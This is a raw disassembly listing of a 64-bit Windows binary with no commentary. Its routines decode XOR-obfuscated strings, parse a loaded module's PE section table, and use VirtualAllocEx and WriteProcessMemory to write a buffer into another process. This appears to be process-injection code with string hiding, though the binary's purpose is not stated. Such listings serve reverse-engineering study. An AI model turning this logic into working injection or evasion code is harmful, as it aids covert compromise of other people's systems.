mov byte [rbp + 0x9ea8], 0
lea rax, [rbp + 0x9ef0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003dab0
lea rdx, [rbp + 0x9ef0]
lea rcx, [rbp + 0x9ea8]
call fcn.14005a030
nop
movabs rax, 0x13bdec3fc4669dd4
mov qword [rbp + 0xa040], rax
movabs rax, 0x1dcf299c961d1bbd
mov qword [rbp + 0xa048], rax
movabs rax, 0x1fffffffe03d9ce9
mov qword [rbp + 0xa050], rax
movabs rcx, 0xe00000001fc69b59
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x60cf8949ad14f988
mov qword [rbp + 0xa080], rax
movabs rax, 0x64bc07ecf37859e1
mov qword [rbp + 0xa088], rax
movabs rax, 0x1fffffffe03d9c9a
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0xa040]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003dbb0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rax, [rbp + 0xa040]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14003dc20
lea rdx, [rbp + 0xa040]
lea rcx, [rbp + 0x9ea8]
call fcn.140059f10
lea rcx, [rbp + 0x9ea8]
cmp qword [rbp + 0x9ec0], 0x10
cmovae rcx, qword [rbp + 0x9ea8]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r11, rax
test rax, rax
je 0x14003e132
movsxd rcx, dword [rax + 0x3c]
cmp dword [rcx + rax], 0x4550
jne 0x14003e132
lea r9, [rax + 0x108]
add r9, rcx
je 0x14003dd84
movzx eax, word [rcx + rax + 6]
lea rcx, [rax + rax*4]
lea r10, [r9 + rcx*8]
cmp r9, r10
jae 0x14003dd84
movabs rax, 0x44ccb849eb4627
mov qword [rbp + 0xa000], rax
movabs rcx, 0xad6c4983ed317ee
mov qword [rbp + 0xa008], rcx
movabs rax, 0x44cccc318e3209
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movaps xmm1, xmmword [rbp - 0x70]
movaps xmm2, xmmword [rbp - 0x80]
movaps xmm3, xmmword [rsp + 0x70]
movaps xmm4, xmmword [rsp + 0x60]
movaps xmm5, xmmword [rsp + 0x50]
movdqa xmm6, xmmword [rbp + 0xa010]
movdqa xmm7, xmmword [rbp + 0xa000]
nop dword [rax]
nop dword [rax + rax]
movdqa xmm0, xmm6
pxor xmm0, xmm7
movaps xmmword [rbp + 0xa040], xmm0
movaps xmmword [rbp + 0xa050], xmm5
movaps xmmword [rbp + 0xa060], xmm4
movaps xmmword [rbp + 0xa070], xmm3
movaps xmmword [rbp + 0xa080], xmm2
movaps xmmword [rbp + 0xa090], xmm1
mov rax, r9
lea r8, [rbp + 0xa040]
sub r8, r9
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14003dd63
inc rax
test ecx, ecx
jne 0x14003dd50
test edx, edx
je 0x14003dd72
add r9, 0x28
cmp r9, r10
jb 0x14003dd10
jmp 0x14003dd84
mov eax, dword [r9 + 0x10]
mov ecx, dword [r9 + 0xc]
add rax, rbx
add rcx, rax
mov qword [rdi + 0x70], rcx
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add qword [rdi + 0x70], 0xfffffffffffffee0
movabs rax, 0xcc052b87b23dd50
mov qword [rbp + 0xa040], rax
movabs rax, 0x39044bd53345bfa2
mov qword [rbp + 0xa048], rax
movabs rax, 0x42656839aac6
mov qword [rbp + 0xa050], rax
movabs rcx, 0x682622508d7d615
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x4dab31d90f70b81b
mov qword [rbp + 0xa080], rax
movabs rax, 0x56761bbd5024cbd6
mov qword [rbp + 0xa088], rax
movabs rax, 0x42651b4acfa5
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x5370]
lea rcx, [rbp + 0x70]
mov rdx, r15
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003de72
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0x156004428de8c09d
mov qword [rbp + 0xa040], rax
movabs rax, 0x6b670842a082c87b
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x790e7629fe87b4f3
mov qword [rbp + 0xa060], rax
movabs rax, 0x6b670842c5faad55
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x1ec0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x5370]
lea rcx, [rbp + 0x1ec0]
call fcn.1400532e0
mov qword [rdi + 0x60], rax
test rax, rax
jne 0x14003e155
movabs rax, 0x4183422e5ff568
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe8fc79c026e3077
mov qword [rbp + 0xa008], rcx
movabs rax, 0x418330412d872d
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rbp + 0xfc0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0xfd0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xfe0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xff0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x1000], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x1010], xmm0
movabs rax, 0x5b5cb041a
mov qword [rbp + 0xa000], rax
movabs rcx, 0x12d3617754
mov qword [rbp + 0xa008], rcx
movabs rax, 0x5b5c1322b
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x880], xmm0
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x890], xmm0
movaps xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x8a0], xmm1
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x8b0], xmm0
lea r8, [rbp + 0xfc0]
lea rdx, [rbp + 0x880]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor bl, bl
lea rcx, [rbp + 0x9ea8]
call fcn.14000b160
nop
lea rcx, [rbp + 0x9ec8]
call fcn.140059be0
movzx eax, bl
jmp 0x140034dbf
movabs rax, 0x1cbd469d86a91f96
mov qword [rbp + 0xa040], rax
movabs rax, 0x2af777d6fe6644f9
mov qword [rbp + 0xa048], rax
movabs rax, 0x67cb4e76ac769b4
mov qword [rbp + 0xa050], rax
movabs rcx, 0x15b16f8502cac1ef
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7fdc32eee8fc7add
mov qword [rbp + 0xa080], rax
movabs rax, 0x7a9f14b78a030092
mov qword [rbp + 0xa088], rax
movabs rax, 0x67cc7940fa406c6
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa080]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xa0], xmm5
lea rax, [rbp + 0x5d20]
lea rcx, [rbp + 0x70]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r15, 1
jne 0x14003e230
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
movabs rax, 0x14f215368e945434
mov qword [rbp + 0xa040], rax
movabs rax, 0x77d5eb3d30438fe9
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x789c675dfdfb205a
mov qword [rbp + 0xa060], rax
movabs rax, 0x77d5eb3d553beac7
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x1f90]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x5d20]
lea rcx, [rbp + 0x1f90]
call fcn.1400532e0
mov qword [rdi + 0x68], rax
test rax, rax
jne 0x14003e4db
movabs rax, 0x4775ac572faadd
mov qword [rbp + 0xa000], rax
movabs rcx, 0xe94d73101d5edba
mov qword [rbp + 0xa008], rcx
movabs rax, 0x4775de385dd898
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa000]
pxor xmm0, xmmword [rbp + 0xa010]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm0
movabs rax, 0x63e5fdd7c
mov qword [rbp + 0xa000], rax
movabs rcx, 0x133325f1bf
mov qword [rbp + 0xa008], rcx
movabs rax, 0x63e55ea4d
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rcx
movdqa xmm0, xmmword [rbp + 0xa010]
pxor xmm0, xmmword [rbp + 0xa000]
movaps xmmword [rbp + 0x390], xmm0
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x3a0], xmm0
movaps xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3b0], xmm1
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x3c0], xmm0
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0x390]
jmp 0x14003e118
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x298
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x14003e525
mov qword [rsp + 0x20], rsi
mov r9d, 0x298
mov r8, rdi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rbp + 0x470]
test rax, rax
je 0x14003e534
mov qword [rax], rbx
mov bl, 1
jmp 0x14003e134